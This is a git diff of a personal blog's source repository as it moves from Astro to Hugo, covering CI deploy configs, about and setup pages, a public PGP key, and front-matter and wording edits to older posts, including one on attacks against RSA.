eleventy

.build.yml

@@ -1,28 +0,0 @@
-image: alpine/edge
-oauth: pages.sr.ht/PAGES:RW
-packages:
-  - hut
-  - npm
-  - rsync
-  - typst
-environment:
-  site: mzhang.io
-secrets:
-  - 0b26b413-7901-41c3-a4e2-3c752228ffcb
-sources:
-  - https://git.sr.ht/~mzhang/blog
-tasks:
-  - install: |
-      sudo npm install -g pnpm
-  - build: |
-      cd blog
-      pnpm install
-      pnpm run build
-      # hugo --buildDrafts --minify --baseURL https://mzhang.io
-  - upload: |
-      cd blog/dist
-      tar -cvz . > ../site.tar.gz
-      cd ..
-      hut pages publish -d $site site.tar.gz
-      # echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
-      # rsync -azvrP dist/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public

.dockerignore

@@ -1 +0,0 @@
-*

.editorconfig

@@ -6,4 +6,4 @@ insert_final_newline = true
 trim_trailing_whitespace = true
 charset = utf-8
 indent_style = space
-indent_size = 2
+indent_size = 4

.gitattributes

@@ -1,2 +0,0 @@
-public/katex/**/* linguist-vendored
-src/**/*.md  linguist-documentation=false

.gitignore

@@ -1,34 +1,14 @@
-# build output
-dist/
-# generated types
-.astro/
+/public
+/old
+/resources
+/content/logseq
 
-# dependencies
-node_modules/
-
-# logs
-npm-debug.log*
-yarn-debug.log*
-yarn-error.log*
-pnpm-debug.log*
-
-
-# environment variables
-.env
-.env.production
-
-# macOS-specific files
-.DS_Store
-
-PragmataPro-Mono-Liga-Regular-Nerd-Font-Complete.woff2
-*.agdai
-_build
+.hugo_build.lock
 .direnv
+*.agdai
 
+/result*
 
-/result
-.pnpm-store
-
-/public/generated
-
-.frontmatter
+/static/fonts/patched/PragmataPro-Mono-Liga-Regular-Nerd-Font-Complete.woff2
+node_modules
+_site

.prettierignore

@@ -1,3 +0,0 @@
-public/katex
-pnpm-lock.yaml
-src/styles/fork-awesome

.prettierrc.json

@@ -1,17 +0,0 @@
-{
-  "plugins": ["prettier-plugin-astro"],
-  "overrides": [
-    {
-      "files": "*.astro",
-      "options": {
-        "parser": "astro"
-      }
-    }
-  ],
-
-  "useTabs": false,
-  "tabWidth": 2,
-  "singleQuote": false,
-  "trailingComma": "all",
-  "printWidth": 100
-}

.prettierrc.json5

@@ -0,0 +1,8 @@
+{
+  tabWidth: 2,
+  semi: true,
+  useTabs: false,
+  singleQuote: false,
+  trailingComma: "es5",
+  printWidth: 80,
+}

.tokeignore

@@ -1,4 +0,0 @@
-public
-package-lock.json
-src/styles/fork-awesome
-pnpm-lock.yaml

.vscode/extensions.json

@@ -1,7 +0,0 @@
-{
-  "recommendations": [
-    "astro-build.astro-vscode",
-    "eliostruyf.vscode-front-matter"
-  ],
-  "unwantedRecommendations": []
-}

.vscode/launch.json

@@ -1,11 +0,0 @@
-{
-  "version": "0.2.0",
-  "configurations": [
-    {
-      "command": "./node_modules/.bin/astro dev",
-      "name": "Development server",
-      "request": "launch",
-      "type": "node-terminal"
-    }
-  ]
-}

.vscode/settings.json

@@ -1,3 +0,0 @@
-{
-  "npm.packageManager": "pnpm"
-}

.woodpecker.yml

@@ -0,0 +1,18 @@
+pipeline:
+  build:
+    image: klakegg/hugo:ext-pandoc-ci
+    commands:
+      - hugo --buildDrafts --minify --baseURL https://mzhang.io
+
+  deploy:
+    image: alpine
+    commands:
+      - apk add rsync openssh
+      - echo "$${SSH_SECRET_KEY}" > SSH_SECRET_KEY
+      - chmod 600 SSH_SECRET_KEY
+      - mkdir -p ~/.ssh
+      - echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzBZ+QmM4EO3Fwc1ZcvWV2IY9VF04T0H9brorGj9Udp" >> ~/.ssh/known_hosts
+      - rsync -azvrP -e "ssh -i SSH_SECRET_KEY" public/ sourcehutBuilds@mzhang.io:/mnt/storage/svcdata/blog-public
+    secrets: [ SSH_SECRET_KEY ]
+    when:
+      branch: master

.woodpecker/deploy.yml

@@ -1,27 +0,0 @@
-steps:
-  build:
-    image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
-    environment:
-      - ASTRO_TELEMETRY_DISABLED=1
-    commands:
-      - mkdir /tmp
-      - rm -rf node_modules
-      - npm i -g pnpm@9.4.0
-      - npx pnpm install --frozen-lockfile
-      - npx pnpm run build
-    when:
-      - event: push
-
-  deploy:
-    image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
-    commands:
-      - mc alias set $AWS_DEFAULT_REGION $AWS_ENDPOINT_URL $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY --api S3v4
-      - mc mirror --overwrite ./dist/ $AWS_DEFAULT_REGION/mzhang-io-website/
-    secrets:
-      - AWS_ACCESS_KEY_ID
-      - AWS_DEFAULT_REGION
-      - AWS_ENDPOINT_URL
-      - AWS_SECRET_ACCESS_KEY
-    when:
-      - branch: master
-        event: push

README.md

@@ -1,5 +0,0 @@
-# Michael's Blog
-
-https://mzhang.io
-
-License: GPL-3.0 code / CC-BY-SA-4.0 contents

astro.config.ts

@@ -1,57 +0,0 @@
-import { defineConfig } from "astro/config";
-import mdx from "@astrojs/mdx";
-import sitemap from "@astrojs/sitemap";
-import { rehypeAccessibleEmojis } from "rehype-accessible-emojis";
-import remarkReadingTime from "./plugin/remark-reading-time";
-import remarkEmoji from "remark-emoji";
-import remarkDescription from "astro-remark-description";
-import remarkAdmonitions, { mkdocsConfig } from "./plugin/remark-admonitions";
-import remarkMath from "remark-math";
-import rehypeKatex from "rehype-katex";
-import remarkTypst from "./plugin/remark-typst";
-import rehypeLinkHeadings from "@justfork/rehype-autolink-headings";
-import rehypeSlug from "rehype-slug";
-
-import markdoc from "@astrojs/markdoc";
-import remarkAgda from "./plugin/remark-agda";
-
-const outDir = "dist";
-const base = process.env.BASE ?? "/";
-const publicDir = "public";
-
-// https://astro.build/config
-export default defineConfig({
-  site: "https://mzhang.io",
-  prefetch: true,
-  integrations: [mdx(), sitemap(), markdoc()],
-
-  outDir,
-  base,
-  trailingSlash: "always",
-  publicDir,
-
-  markdown: {
-    syntaxHighlight: "shiki",
-    shikiConfig: { theme: "css-variables" },
-    remarkPlugins: [
-      () => remarkAgda({ outDir, base, publicDir }),
-      remarkMath,
-      [remarkAdmonitions, mkdocsConfig],
-      remarkReadingTime,
-      remarkTypst,
-      remarkEmoji,
-      [
-        remarkDescription,
-        {
-          name: "excerpt",
-        },
-      ],
-    ],
-    rehypePlugins: [
-      [rehypeKatex, {}],
-      rehypeAccessibleEmojis,
-      rehypeSlug,
-      [rehypeLinkHeadings, { behavior: "wrap" }],
-    ],
-  },
-});

biome.json

@@ -1,17 +0,0 @@
-{
-  "$schema": "https://biomejs.dev/schemas/1.7.3/schema.json",
-  "organizeImports": {
-    "enabled": true
-  },
-  "formatter": {
-    "enabled": true,
-    "indentStyle": "space",
-    "indentWidth": 2
-  },
-  "linter": {
-    "enabled": true,
-    "rules": {
-      "recommended": true
-    }
-  }
-}

blog.agda-lib

@@ -1,2 +0,0 @@
-include: src/content/posts src
-depend: standard-library cubical

content/about/_index.md

@@ -0,0 +1,80 @@
++++
+title = "About"
+weight = 2
+
+[cascade]
+type = "generic"
+layout = "single"
++++
+
+# About Me
+
+{{< left-nav >}}
+
+<!-- more -->
+
+### Research
+
+Currently, I'm learning about [cubical type theory][cubical]. I'll probably
+write some blog posts as I learn more. My advisor is [Favonia].
+
+### University Involvement
+
+During my time at the University of Minnesota, I like to be actively involved in
+computing related student groups.
+
+- **[GopherHack]**. I'm one of the founding officers at the GopherHack
+    organization, hoping to grow a CTF community at the University. I prepare
+    material for club activities.
+- **[PL Seminar]**. A group focused on reading and discussing programming
+    languages related papers.
+- **[UMN Kernel Object]**. A group dedicated to studying operating system
+    development, created in the aftermath of the UMN Linux kernel controversy.
+
+Previously, I was also involved with:
+
+- **[ACM]**. I was webmaster and wrote the current website, as well as helping
+  out with other events such as CTF.
+- **[SASE]**. I was webmaster and was involved in organizing student group
+  events as well.
+
+### Open-source Projects
+
+Some of the projects I've been working on in my free time include:
+
+- **[Wisesplit]**. A tool for easily splitting the bill with friends.
+- **[Garbage]**. A CLI interface to the trash can API.
+- **[Leanshot]**. A Linux screen capture tool.
+
+More can be found on [this page][12] or my public [Gitea][2].
+
+I've also started making an increased effort at using and supporting [FOSS], and
+other software that're not predatory towards users. As a part of this effort,
+I'm also self-hosting and rewriting some of the services and software that I use
+regularly. Find out what I'm using [here][9].
+
+### Hobbies
+
+I'm also an avid rhythm game player and beatmap creator, mostly involved with
+the free-to-play game [osu!]. Check out some of my beatmaps on my osu!
+[userpage].
+
+I also enjoy playing badminton &#x1F3F8; at the rec.
+
+[2]: https://git.mzhang.io/explore
+[9]: setup
+[10]: pgp.txt
+[12]: ../projects
+[cubical]: https://ncatlab.org/nlab/show/cubical+type+theory
+[favonia]: https://favonia.org
+[foss]: https://en.wikipedia.org/wiki/Free_and_open-source_software
+[garbage]: https://git.sr.ht/~mzhang/garbage
+[gopherhack]: https://gopherhack.com
+[leanshot]: https://git.sr.ht/~mzhang/leanshot
+[osu!]: https://osu.ppy.sh
+[pl seminar]: https://umn-plseminar.github.io
+[userpage]: https://osu.ppy.sh/u/2688103
+[wisesplit]: https://wisesplit.org
+[acm]: https://acm.umn.edu
+[sase]: https://saseumn.org
+[umn kernel object]: https://github.com/UMN-Kernel-Object

content/about/pgp.txt

@@ -0,0 +1,78 @@
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+
+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
+=8UOD
+-----END PGP PUBLIC KEY BLOCK-----

content/about/random-scripts.md

@@ -0,0 +1,12 @@
++++
+title = "random scripts"
++++
+
+### convert a bunch of `flac`s to `mp3`
+
+```bash
+#!/bin/bash
+function flac2mp3() { ffmpeg -y -i "$1" -acodec libmp3lame "$(basename "$1")".mp3; }
+export -f flac2mp3 # only works in bash
+fd "\.flac$" | parallel flac2mp3
+```

content/about/setup.md

@@ -0,0 +1,48 @@
++++
+title = "Setup"
++++
+
+# Setup
+
+List of software and services I use and endorse, mostly FOSS.
+
+## Desktop
+
+- [**Arch Linux**](https://archlinux.org/) OS with rolling releases.
+- [**Home manager** (MIT)](https://github.com/nix-community/home-manager) Dotfile manager.
+- [**Firefox** (MPL-2.0)](https://www.mozilla.org/firefox) Browser.
+- [**Thunderbird** (MPL-2.0)](https://www.thunderbird.net) Email + calendar client.
+
+## Development
+
+- [**Neovim** (Apache-2.0/Vim)](https://neovim.io/) Text editor.
+
+## Server
+
+- [**NixOS** (MIT)](https://nixos.org/) Declarative and reproducible operating system.
+- [**Hugo** (Apache-2.0)](https://gohugo.io/) Static site generator that powers this site.
+- [**Gitea** (MIT)](https://gitea.io/) Self-hosted git.
+
+## Mobile
+
+- [**DAVx5** (GPL-3.0)](https://www.davx5.com/) CalDAV and CardDAV sync for Android.
+- [**Gadgetbridge** (AGPL-3.0)](https://gadgetbridge.org/) Smartwatch client.
+- [**K-9 Mail** (Apache-2.0)](https://k9mail.app/) Mail client.
+- [**Feeder** (GPL-3.0)](https://f-droid.org/packages/com.nononsenseapps.feeder/) RSS aggregator.
+
+## Music
+
+- [**Navidrome** (GPL-3.0)](https://navidrome.com) Self-hosted Subsonic-compatible streaming server.
+- [**Sublime Music** (GPL-3.0)](https://sublimemusic.app) GTK Subsonic-compatible music client.
+- [**Subtracks** (GPL-3.0)](https://github.com/austinried/subtracks) Android Subsonic-compatible music client.
+
+## Services
+
+- [**SourceHut** (AGPL-3.0)](https://sourcehut.org) Git, mailing list, IRC bouncer, etc. hosting.
+- [**Element**](https://element.io/) Federated chat provider.
+- [**ProtonMail** (Proprietary)](https://protonmail.com/) Encrypted email.
+- [**Signal** (GPL-3.0/AGPL-3.0)](https://signal.org/) Encrypted chat.
+
+## Games
+
+Mostly from Steam.

content/drafts/_index.md

@@ -0,0 +1,9 @@
++++
+title = "Drafts"
+weight = 1
+hidden = true
+
+[cascade]
+type = "drafts"
++++
+

content/index.md

@@ -0,0 +1,4 @@
+---
+---
+
+Blog

content/main.scss

@@ -0,0 +1,3 @@
+body {
+    background-color: gray;
+}

content/posts/2018-02-01-my-new-life-stack.md

@@ -1,8 +1,8 @@
----
-title: My new life stack
-date: 2018-02-01
-tags: ["arch", "linux", "setup", "computers"]
----
++++
+title = "My new life stack"
+date = 2018-02-01
+tags = ["arch", "linux", "setup", "computers"]
++++
 
 This is my first post on my new blog! <!--more--> I used to put a CTF challenge writeup here but decided to change it up a bit. Recently, I've been changing a lot of the technology that I use day to day. Here's some of the changes that I've made!
 
@@ -10,7 +10,7 @@ This is my first post on my new blog! <!--more--> I used to put a CTF challenge
 
 I've ran regular Ubuntu on my laptop for a while, then switched to Elementary OS, which I found a lot more pleasing to use. After using Elementary OS for about 6 months, some of the software on my computer started behaving strangely, and I decided it was time for some change.
 
-`````
+```
 # michael @ arch in ~ [3:20:09]
 $ screenfetch
                    -`
@@ -33,7 +33,7 @@ $ screenfetch
  `++:.                           `-/+/
  .`                                 `/
 
-`````
+```
 
 I installed Arch Linux on my laptop the day before yesterday. I've used Arch Linux before, about a year ago, so setup was relatively familiar. On top of Arch Linux, I'm using the very widely recommended i3 tiling window manager, and urxvt terminal emulator.
 

content/posts/2018-02-25-cleaning-up-your-shell.md

@@ -1,9 +1,9 @@
----
-title: "Cleaning up your shell"
-date: 2018-02-25
-tags: ["computers", "linux", "terminal"]
-languages: ["bash"]
----
++++
+title = "Cleaning up your shell"
+date = 2018-02-25
+tags = ["computers", "linux", "terminal"]
+languages = ["bash"]
++++
 
 Is your shell loading slower than it used to? Maybe you've been sticking a bit more into your `.bashrc`/`.zshrc` than you thought. <!--more-->
 

content/posts/2018-04-23-fixing-tmux-colors.md

@@ -1,8 +1,8 @@
----
-title: "Fixing tmux colors"
-date: 2018-04-23
-tags: ["computers"]
----
++++
+title = "Fixing tmux colors"
+date = 2018-04-23
+tags = ["computers"]
++++
 
 Put this in your `~/.tmux.conf`.
 

content/posts/2018-05-28-web-apps.md

@@ -1,9 +1,9 @@
----
-title: "Web apps"
-date: 2018-05-28
-tags: ["computers", "web", "things-that-are-bad"]
-languages: ["javascript"]
----
++++
+title = "Web apps"
+date = 2018-05-28
+tags = ["computers", "web", "things-that-are-bad"]
+languages = ["javascript"]
++++
 
 The other day, I just turned off JavaScript from my browser. <!--more--> "fucking neckbeard", "you'll turn it back in 2 weeks", "living without JavaScript is like living without electricity" were some of the responses I got. And they might be right. But let's see why things are the way they are and what we can do about it.
 
@@ -13,13 +13,13 @@ Well, the answer's pretty obvious, right? So you can surf it. But what does that
 
 If you wanted to do anything more complicated or that required more interaction, like sending an email, you'd probably pop open a dedicated client to do it. Things like Microsoft Outlook, Mozilla Thunderbird serve as great email clients. For chat, you could use an IRC client. Hell, even the browser was a client, just for viewing webpages. If you didn't have a client for a service that you wanted to use, you'd download a client, enter in the details of the server you want to connect to, and then you would be off.
 
-Things aren't that way anymore. For some reason, the web browser has become the all-in-one client for every service. Instead of simply acting as a HTTP client, your browser is now also capable of running full-blown 3D games, chat rooms, real-time word processors, and [full x86 emulators, apparently](http://copy.sh/v86/). What the hell happened?
+Things aren't that way anymore. For some reason, the web browser has become the all-in-one client for every service. Instead of acting as a HTTP client, your browser is now also capable of running full-blown 3D games, chat rooms, real-time word processors, and [full x86 emulators, apparently](http://copy.sh/v86/). What the hell happened?
 
 ## Spoiler alert: Javascript happened
 
 JavaScript happened. That little _scripting_ language invented to, you know, make some hover animation on your page or have dropdowns on your menu bar. Thanks to the introduction of JavaScript (and jQuery especially), developers stopped viewing webpages as Word documents that you can share, and more like canvases. Hover animations are cute and dropdowns are useful. Sure. But when this _scripting_ language starts turning into a _systems_ language (for lack of a better term), you have a problem. When's the last time you used Perl to write an operating system?
 
-Look at the things we do today with JavaScript. We have _full blown frameworks_ that we _compile_ into bundles of _executable code_ in people's browsers. We're basically talking about the equivalent of downloading a binary and executing it on your computer every time you open a _webpage_. Except for a few minor differences. Firstly, it's not really a binary, it's a huge blob of script, which means it must be executed inside some virtual interpreter. For each tab that you're running. Secondly, now you're downloading random scripts from any website that you open, and then [trusting it](https://superlogout.com/) and [running it][1]. You wouldn't hesitate to click a link, but you'd definitely think twice before installing something from an unknown source into your computer, right?
+Look at the things we do today with JavaScript. We have _full blown frameworks_ that we _compile_ into bundles of _executable code_ in people's browsers. We're talking about the equivalent of downloading a binary and executing it on your computer every time you open a _webpage_. Except for a few minor differences. Firstly, it's not really a binary, it's a huge blob of script, which means it must be executed inside some virtual interpreter. For each tab that you're running. Secondly, now you're downloading random scripts from any website that you open, and then [trusting it](https://superlogout.com/) and [running it][1]. You wouldn't hesitate to click a link, but you'd definitely think twice before installing something from an unknown source into your computer, right?
 
 On top of that, look at these huge frameworks that almost every company is hiring developers for: React, Angular, Vue. These frameworks help JavaScript developers develop "web apps", meaning your JavaScript is now responsible for things the browser should actually be doing for you: two-way data binding, template rendering, and more. Except now, you're downloading a script and running it inside of a virtual interpreter. And because of technologies like Webpack that bundles all your separate code files together (read: static linking), our browsers can't even use the same framework code from site to site.
 

content/posts/2018-10-18-weechat-relay.md

@@ -1,8 +1,9 @@
----
-title: "Setting up IRC with Weechat"
-date: 2018-10-18
-tags: ["irc"]
----
++++
+title = "Setting up IRC with Weechat"
+date = 2018-10-18
+
+tags = ["irc"]
++++
 
 I've just recently discovered that weechat has a "relay" mode, which means it can act as a relay server to other clients (for example, my phone). If I leave an instance of weechat running on, say, my server that's always running, it can act as a bouncer and my phone can receive notifications for highlights as well.
 

content/posts/2018-10-26-twenty-years-of-rsa-attacks.md

@@ -1,11 +1,11 @@
----
-title: "Twenty years of attacks on rsa with examples"
-date: 2018-10-26
-toc: true
-tags: ["ctf", "crypto", "rsa"]
-languages: ["python"]
-math: true
----
++++
+title = "Twenty years of attacks on rsa with examples"
+date = 2018-10-26
+toc = true
+tags = ["ctf", "crypto", "rsa"]
+languages = ["python"]
+math = true
++++
 
 There's [a great paper][1] I found by Dan Boneh from 1998 highlighting the
 weaknesses of the RSA cryptosystem. I found this paper to be a particularly
@@ -18,11 +18,11 @@ cryptosystem works, since there's already a great number of resources on that.
 
 ## Factoring large integers
 
-Obviously this is a pretty bruteforce-ish way to crack the cryptosystem, and
-probably won't work in time for you to see the result, but can still be
-considered an attack vector. This trick works by just factoring the modulus,
-$N$. With $N$, finding the private exponent $d$ from the public exponent $e$ is
-a piece of cake.
+This is a pretty bruteforce-ish way to crack the cryptosystem, and probably
+won't work in time for you to see the result, but can still be considered an
+attack vector. This trick works by just factoring the modulus, $N$. With $N$,
+finding the private exponent $d$ from the public exponent $e$ is a piece of
+cake.
 
 Let's choose some small numbers to demonstrate this one (you can follow along in
 a Python REPL if you want):
@@ -33,7 +33,7 @@ a Python REPL if you want):
 >>> c = 875978376
 ```
 
-$N$ is clearly factorable in this case, and we can use resources like
+$N$ is more easily factorable in this case, and we can use resources like
 [msieve][7] or [factordb][2] to find smaller primes in this case. Since we know
 now that $N = 20717 \times 42557$, we can find the totient of $N$:
 
@@ -70,8 +70,8 @@ pairs would be issued to different users and they would share public keys with
 each other and keep private keys to themselves.
 
 The problem here is if you have a key pair, and you got someone else's public
-key, you could easily derive the private key by just factoring the modulus.
-Let's see how this works with a real example now.
+key, you could easily derive the private key by factoring the modulus. Let's see
+how this works with a real example now.
 
 Since this is a big problem if you were to really use this cryptosystem, I'll be
 using actual keys from an actual crypto library instead of the small numbers
@@ -128,9 +128,9 @@ It turns out that $k$ is extremely close to $\frac{ed}{N}$:
 
 $$ \frac{ed}{N} = \frac{1 + k\phi(N)}{N} = \frac{1}{N} + \frac{k\phi(N)}{N} $$
 
-$\frac{1}{N}$ is basically 0, and $\phi(N)$ is very close to $N$, so it
-shouldn't change the value of $k$ by very much. We now use $\frac{ed}{N}$ to
-estimate $k$:
+At this scale, we can treat $\frac{1}{N}$ as if it was 0, and $\phi(N)$ is very
+close to $N$, so it shouldn't change the value of $k$ by very much. We now use
+$\frac{ed}{N}$ to estimate $k$:
 
 $$ \phi(N) = \frac{ed - 1}{\frac{ed}{N}} $$
 
@@ -184,10 +184,10 @@ you to sign this with your private key." Let's generate Bob's private key:
 >>> M = b"I (Bob) owes Marvin $100,000 USD"
 ```
 
-Obviously, Bob, an intellectual, will refuse to sign the message. However,
-suppose Marvin now transforms his message into a more innocent looking one. He
